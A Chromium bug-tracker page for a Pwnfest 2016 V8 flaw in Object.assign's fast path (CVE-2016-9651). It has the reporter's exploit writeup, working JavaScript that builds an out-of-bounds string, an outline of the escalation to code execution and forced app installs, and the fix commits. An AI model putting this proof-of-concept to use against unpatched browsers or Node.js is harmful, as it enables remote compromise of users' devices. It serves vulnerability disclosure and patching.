Project: chromium Issues People Development process History Sign in
New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Starred by 4 users
Status: Fixed
Owner:
Closed: Nov 2016
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 1
Type: Bug-Security

Blocking:
issue 664551



Sign in to add a comment
Pwnfest 2016: Chrome V8 Private Property Re-assign issue (bug in fast-path of Object.assign)
Project Member Reported by rickyz@chromium.org, Nov 11 2016 Back to list
pwnfest v8 bug, used in Pixel exploit. Here is the writeup from the reporter:

1.The Bug
In v8, private symbols are used as key to store private property in object, they shouldn't have been access by user javascript, But there is a seemingly trivial logical bug in FastAssign, this function hasn't filtered the keys which are private symbols which can be used to re-assign private properties.

MUST_USE_RESULT Maybe<bool> FastAssign(Handle<JSReceiver> to,
        Handle<Object> next_source) {
    // Non-empty strings are the only non-JSReceivers that need to be handled
    // explicitly by Object.assign.
    if (!next_source->IsJSReceiver()) {
        return Just(!next_source->IsString() ||
                String::cast(*next_source)->length() == 0);
    }

    // If the target is deprecated, the object will be updated on first store. If
    // the source for that store equals the target, this will invalidate the
    // cached representation of the source. Preventively upgrade the target.
    // Do this on each iteration since any property load could cause deprecation.
    if (to->map()->is_deprecated()) {
        JSObject::MigrateInstance(Handle<JSObject>::cast(to));
    }

    Isolate* isolate = to->GetIsolate();
    Handle<Map> map(JSReceiver::cast(*next_source)->map(), isolate);

    if (!map->IsJSObjectMap()) return Just(false);
    if (!map->OnlyHasSimpleProperties()) return Just(false);

    Handle<JSObject> from = Handle<JSObject>::cast(next_source);
    if (from->elements() != isolate->heap()->empty_fixed_array()) {
        return Just(false);
    }

    Handle<DescriptorArray> descriptors(map->instance_descriptors(), isolate);
    int length = map->NumberOfOwnDescriptors();

    bool stable = true;

    for (int i = 0; i < length; i++) {
        Handle<Name> next_key(descriptors->GetKey(i), isolate);  ----------------->hasn't filter the keys that are private symbols.
            Handle<Object> prop_value;
        // Directly decode from the descriptor array if |from| did not change shape.
        if (stable) {
            PropertyDetails details = descriptors->GetDetails(i);
            if (!details.IsEnumerable()) continue;
            if (details.kind() == kData) {
                if (details.location() == kDescriptor) {
                    prop_value = handle(descriptors->GetValue(i), isolate);
                } else {
                    Representation representation = details.representation();
                    FieldIndex index = FieldIndex::ForDescriptor(*map, i);
                    prop_value = JSObject::FastPropertyAt(from, representation, index);
                }
            } else {
                ASSIGN_RETURN_ON_EXCEPTION_VALUE(
                        isolate, prop_value, JSReceiver::GetProperty(from, next_key),
                        Nothing<bool>());
                stable = from->map() == *map;
            }
        } else {
            // If the map did change, do a slower lookup. We are still guaranteed that
            // the object has a simple shape, and that the key is a name.
            LookupIterator it(from, next_key, from,
                    LookupIterator::OWN_SKIP_INTERCEPTOR);
            if (!it.IsFound()) continue;
            DCHECK(it.state() == LookupIterator::DATA ||
                    it.state() == LookupIterator::ACCESSOR);
            if (!it.IsEnumerable()) continue;
            ASSIGN_RETURN_ON_EXCEPTION_VALUE(
                    isolate, prop_value, Object::GetProperty(&it), Nothing<bool>());
        }
        LookupIterator it(to, next_key, to);
        bool call_to_js = it.IsFound() && it.state() != LookupIterator::DATA;
        Maybe<bool> result = Object::SetProperty(
                &it, prop_value, STRICT, Object::CERTAINLY_NOT_STORE_FROM_KEYED);
        if (result.IsNothing()) return result;
        if (stable && call_to_js) stable = from->map() == *map;
    }

    return Just(true);
}


2. Exploit the Bug
The bug is trivial and the exploit is a little difficult. The main step is as follows:
step 1:make an out-of-bound string, Information disclosure
some JS functions have two private properties whoes keys are class_start_position_symbol and class_end_position_symbol

ggong@ggong-pc:~/ssd1/v8/out/ia32.debug$ ./d8 --allow-natives-syntax -e "%DebugPrint(eval('class x extends Array{}'))"
DebugPrint: 0x4420c88d: [Function]
- map = 0x5820cfb9 [FastProperties]
- prototype = 0x3af646ed
- elements = 0x3af08125 <FixedArray[0]> [FAST_HOLEY_ELEMENTS]
- initial_map = 
- shared_info = 0x3af779fd <SharedFunctionInfo x>
- name = 0x3af2512d <String[1]: x>
- formal_parameter_count = 0
- context = 0x3af63469 <FixedArray[177]>
- literals = 0x3af09841 <FixedArray[1]>
- code = 0x4b60a301 <Code: BUILTIN>
- properties = {
#length: 0x3af51bb9 <AccessorInfo> (accessor constant)
#name: 0x3af51bf1 <AccessorInfo> (accessor constant)
#prototype: 0x3af51c29 <AccessorInfo> (accessor constant)
    0x3af092a1 <Symbol: home_object_symbol>: 0x4420c8b1 <a x with map 0x5820cf8d> (data field at offset 0)
        0x3af0910d <Symbol: class_start_position_symbol>: 0 (data field at offset 1)   ------------->private property
        0x3af090d5 <Symbol: class_end_position_symbol>: 23 (data field at offset 2)    ------------->private property
}

These two private properties can be re-assigned by Object.assign. when toString of the function is called, an oob string is generated. We can get the ability of oob read by this oob string.  the sample code is as follows:
function getHiddenValue(){
    var obj = {};
    var oob = "/re/";
    //oob = oob.replace("re","*".repeat(0x2000));
    oob = oob.replace("re","*".repeat(0x100000));
    var str =  'class x extends Array{'+oob+"}";
        var fun = eval(str);
        Object.assign(obj,fun);
        return obj;
    }
function makeOobString(){
    var hiddenValue = getHiddenValue();
    var str =  'class x extends Array{}';
    var fun = eval(str); 
    Object.assign(fun,hiddenValue);
    var oobString = fun.toString();
    return oobString;
}

step 2: convert oob read to oob write
How to convert an oob read bug to oob write ??? I'll explain it in the following code which is the implementatin of javascript function escape.
static MaybeHandle<String> EscapePrivate(Isolate* isolate,
        Handle<String> string) { ------------------------------->assume the string is an oob string we constructed above.
    DCHECK(string->IsFlat());
    int escaped_length = 0;
    int length = string->length();

    {
        DisallowHeapAllocation no_allocation;
        Vector<const Char> vector = string->GetCharVector<Char>();
        for (int i = 0; i < length; i++) {  ------------------------>the length of the destination string is calculated here.
            uint16_t c = vector[i];
            if (c >= 256) {
                escaped_length += 6;
            } else if (IsNotEscaped(c)) {
                escaped_length++;
            } else {
                escaped_length += 3;
            }

            // We don't allow strings that are longer than a maximal length.
            DCHECK(String::kMaxLength < 0x7fffffff - 6);     // Cannot overflow.
            if (escaped_length > String::kMaxLength) break;  // Provoke exception.
        }
    }

    // No length change implies no change.  Return original string if no change.
    if (escaped_length == length) return string;

    Handle<SeqOneByteString> dest;
    ASSIGN_RETURN_ON_EXCEPTION(
            isolate, dest, isolate->factory()->NewRawOneByteString(escaped_length),--------------->allocated a string using the length calulated before, but this the functin NewRawOneByteString May modify the oob string, which lead to the required length is larger than the calculated escaped_length;
            String);
    int dest_position = 0;

    {
        DisallowHeapAllocation no_allocation;
        Vector<const Char> vector = string->GetCharVector<Char>();
        for (int i = 0; i < length; i++) {
            uint16_t c = vector[i];
            if (c >= 256) {
                dest->SeqOneByteStringSet(dest_position, '%');                       ------------------>The oob write will occur here
                dest->SeqOneByteStringSet(dest_position + 1, 'u');
                dest->SeqOneByteStringSet(dest_position + 2, HexCharOfValue(c >> 12));
                dest->SeqOneByteStringSet(dest_position + 3,
                        HexCharOfValue((c >> 8) & 0xf));
                dest->SeqOneByteStringSet(dest_position + 4,
                        HexCharOfValue((c >> 4) & 0xf));
                dest->SeqOneByteStringSet(dest_position + 5, HexCharOfValue(c & 0xf));
                dest_position += 6;
            } else if (IsNotEscaped(c)) {
                dest->SeqOneByteStringSet(dest_position, c);
                dest_position++;
            } else {
                dest->SeqOneByteStringSet(dest_position, '%');
                dest->SeqOneByteStringSet(dest_position + 1, HexCharOfValue(c >> 4));
                dest->SeqOneByteStringSet(dest_position + 2, HexCharOfValue(c & 0xf));
                dest_position += 3;
            }
        }
    }

    return dest;
}

step 3:oob write to arbitrary code execution
The oob write mentioned above can be used to overwrite an JSArrayBuffer object so that we can get arbitrary read/write, it's easy to overwirte the jit code to get arbitrary code execution.

step 4:install apps
RCE2UXSS, inject javascript to play.google.com to install any app;

step 5:launch apps
inline hook processingUserGesture and utilizeUserGesture to bypass guesture detection, use intent scheme to launch the installed app.

 
exploit.zip
163 KB Download
Cc: higonggu...@gmail.com
Attribution: "Guang Gong of Alpha Team Of Qihoo 360"
Cc: mspector@google.com olorin@google.com nnk@google.com
Cc: shaileshs@google.com
Comment 5 by rickyz@chromium.org, Nov 11 2016
Cc: bmeu...@chromium.org
Components: -Blink>JavaScript Blink>JavaScript>Runtime
Labels: Pri-1
Owner: verwa...@chromium.org
Status: Assigned
Summary: Security: Chrome V8 Private Property Re-assign issue (bug in fast-path of Object.assign) (was: Security: Chrome V8 Private Property Re-assign issue)
Assigning to verwaest@.
Labels: ReleaseBlock-Stable M-55
Status: Started
Project Member Comment 9 by bugdroid1@chromium.org, Nov 11 2016
The following revision refers to this bug:
  https://chromium.googlesource.com/v8/v8.git/+/135b9f9360342089de151990a7bf61c31caa6f1f

commit 135b9f9360342089de151990a7bf61c31caa6f1f
Author: verwaest <verwaest@chromium.org>
Date: Fri Nov 11 15:04:49 2016

Make private symbols non-enumerable

Methods in the runtime that enumerate over properties should never deal with private symbols. Most commonly such methods only loop over enumerable properties. This fix avoids accidentally handling private symbols in methods that only deal with enumerable properties. Methods that need to look at non-enumerable properties as well still have to manually filter private symbols (e.g., the KeyAccumulator).

BUG= chromium:664411 

Review-Url: https://codereview.chromium.org/2499593002
Cr-Commit-Position: refs/heads/master@{#40932}

[modify] https://crrev.com/135b9f9360342089de151990a7bf61c31caa6f1f/src/lookup.cc
[modify] https://crrev.com/135b9f9360342089de151990a7bf61c31caa6f1f/src/property.h
[modify] https://crrev.com/135b9f9360342089de151990a7bf61c31caa6f1f/test/mjsunit/harmony/private.js

Comment 10 by aarya@google.com, Nov 11 2016
Cc: ananthak@chromium.org kerz@chromium.org
Labels: Merge-Request-54 Merge-Request-55
Status: Fixed
Summary: Pwnfest 2016: Chrome V8 Private Property Re-assign issue (bug in fast-path of Object.assign) (was: Security: Chrome V8 Private Property Re-assign issue (bug in fast-path of Object.assign))
Comment 11 by aarya@google.com, Nov 11 2016
Cc: -ananthak@chromium.org anan...@chromium.org
Cc: gov...@chromium.org
Comment 13 by aarya@google.com, Nov 11 2016
Blocking: 664551
Cc: klo...@chromium.org
Labels: -Merge-Request-54 Merge-Approved-54
LGTM for merging into M54.
Labels: -Merge-Request-55 Merge-Approved-55
Approving merge to M55 branch 2883. Please merge ASAP. Thank you.
Comment 17 by k...@google.com, Nov 11 2016
Cc: amineer@chromium.org
I'd presume we're waiting for 55 for this, please let Alex and I know if not.
Comment 18 by aarya@google.com, Nov 11 2016
No, we will probably want to go for M54 (since M55 is three weeks away). Lets have Andrew confirm what we should do here.
Will merge on Monday.
Project Member Comment 20 by sheriffbot@chromium.org, Nov 12 2016
Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify
Project Member Comment 21 by bugdroid1@chromium.org, Nov 14 2016
The following revision refers to this bug:
  https://chromium.googlesource.com/v8/v8.git/+/942604dfb2895cf0e56173b271e66804ff41478a

commit 942604dfb2895cf0e56173b271e66804ff41478a
Author: verwaest <verwaest@chromium.org>
Date: Mon Nov 14 09:16:15 2016

Add test for making private symbols non-enumerable

BUG= chromium:664411 

Review-Url: https://codereview.chromium.org/2498963002
Cr-Commit-Position: refs/heads/master@{#40950}

[add] https://crrev.com/942604dfb2895cf0e56173b271e66804ff41478a/test/mjsunit/regress/regress-private-enumerable.js

Project Member Comment 22 by bugdroid1@chromium.org, Nov 14 2016
Labels: merge-merged-5.4
The following revision refers to this bug:
  https://chromium.googlesource.com/v8/v8.git/+/58d695397906767c3d0d85ac012e1ee0baad2bee

commit 58d695397906767c3d0d85ac012e1ee0baad2bee
Author: Toon Verwaest <verwaest@chromium.org>
Date: Mon Nov 14 09:49:23 2016

Merged: Squashed multiple commits.

Merged: Add test for making private symbols non-enumerable
Revision: 942604dfb2895cf0e56173b271e66804ff41478a

Merged: Make private symbols non-enumerable
Revision: 135b9f9360342089de151990a7bf61c31caa6f1f

BUG= chromium:664411 , chromium:664411 
LOG=N
NOTRY=true
NOPRESUBMIT=true
NOTREECHECKS=true
R=cbruni@chromium.org

Review URL: https://codereview.chromium.org/2497213003 .

Cr-Commit-Position: refs/branch-heads/5.4@{#83}
Cr-Branched-From: 5ce282769772d94937eb2cb88eb419a6890c8b2d-refs/heads/5.4.500@{#2}
Cr-Branched-From: ad07b49d7b47b40a2d6f74d04d1b76ceae2a0253-refs/heads/master@{#38841}

[modify] https://crrev.com/58d695397906767c3d0d85ac012e1ee0baad2bee/src/lookup.cc
[modify] https://crrev.com/58d695397906767c3d0d85ac012e1ee0baad2bee/src/property.h
[modify] https://crrev.com/58d695397906767c3d0d85ac012e1ee0baad2bee/test/mjsunit/harmony/private.js
[add] https://crrev.com/58d695397906767c3d0d85ac012e1ee0baad2bee/test/mjsunit/regress/regress-private-enumerable.js

Project Member Comment 23 by bugdroid1@chromium.org, Nov 14 2016
Labels: merge-merged-5.5
The following revision refers to this bug:
  https://chromium.googlesource.com/v8/v8.git/+/551fc556ace04a947ee20bd1ab8df36e1bd3c963

commit 551fc556ace04a947ee20bd1ab8df36e1bd3c963
Author: Toon Verwaest <verwaest@chromium.org>
Date: Mon Nov 14 09:52:33 2016

Merged: Squashed multiple commits.

Merged: Add test for making private symbols non-enumerable
Revision: 942604dfb2895cf0e56173b271e66804ff41478a

Merged: Make private symbols non-enumerable
Revision: 135b9f9360342089de151990a7bf61c31caa6f1f

BUG= chromium:664411 , chromium:664411 
LOG=N
NOTRY=true
NOPRESUBMIT=true
NOTREECHECKS=true
R=cbruni@chromium.org

Review URL: https://codereview.chromium.org/2498973002 .

Cr-Commit-Position: refs/branch-heads/5.5@{#40}
Cr-Branched-From: 3cbd5838bd8376103daa45d69dade929ee4e0092-refs/heads/5.5.372@{#1}
Cr-Branched-From: b3c8b0ce2c9af0528837d8309625118d4096553b-refs/heads/master@{#40015}

[modify] https://crrev.com/551fc556ace04a947ee20bd1ab8df36e1bd3c963/src/lookup.cc
[modify] https://crrev.com/551fc556ace04a947ee20bd1ab8df36e1bd3c963/src/property.h
[modify] https://crrev.com/551fc556ace04a947ee20bd1ab8df36e1bd3c963/test/mjsunit/harmony/private.js
[add] https://crrev.com/551fc556ace04a947ee20bd1ab8df36e1bd3c963/test/mjsunit/regress/regress-private-enumerable.js

Seems like this is already merged to M54 and M55 at #22 and #23. If there is nothing is pending, please remove "Merge-Approved-54" and"Merge-Approved-55" labels. Thank you.
Labels: -ReleaseBlock-Stable -Merge-Approved-54 -Merge-Approved-55
Labels: Release-0-M55
Labels: NodeJS-Backport-Approved
Needed for Node.js 6.x (V8 5.1) as well. Backport needed in Node. Node 4.x is not affected.
Labels: CVE-2016-9651
hello, guys, will you fix the issue that any compromised render process can install app through play.goolge.com ? 
Cc: jlarimer@google.com
Hey Guang, some changes were made to the Google Play app installation process that can mitigate the risk of issues like this and we're still exploring other potential improvements
Hi jlarimer, could you give me some detail of the mitigation or give me a link about it, I'd like to understand it, thanks.
Project Member Comment 33 by sheriffbot@chromium.org, Feb 18 2017
Labels: -Restrict-View-SecurityNotify allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Sign in to add a comment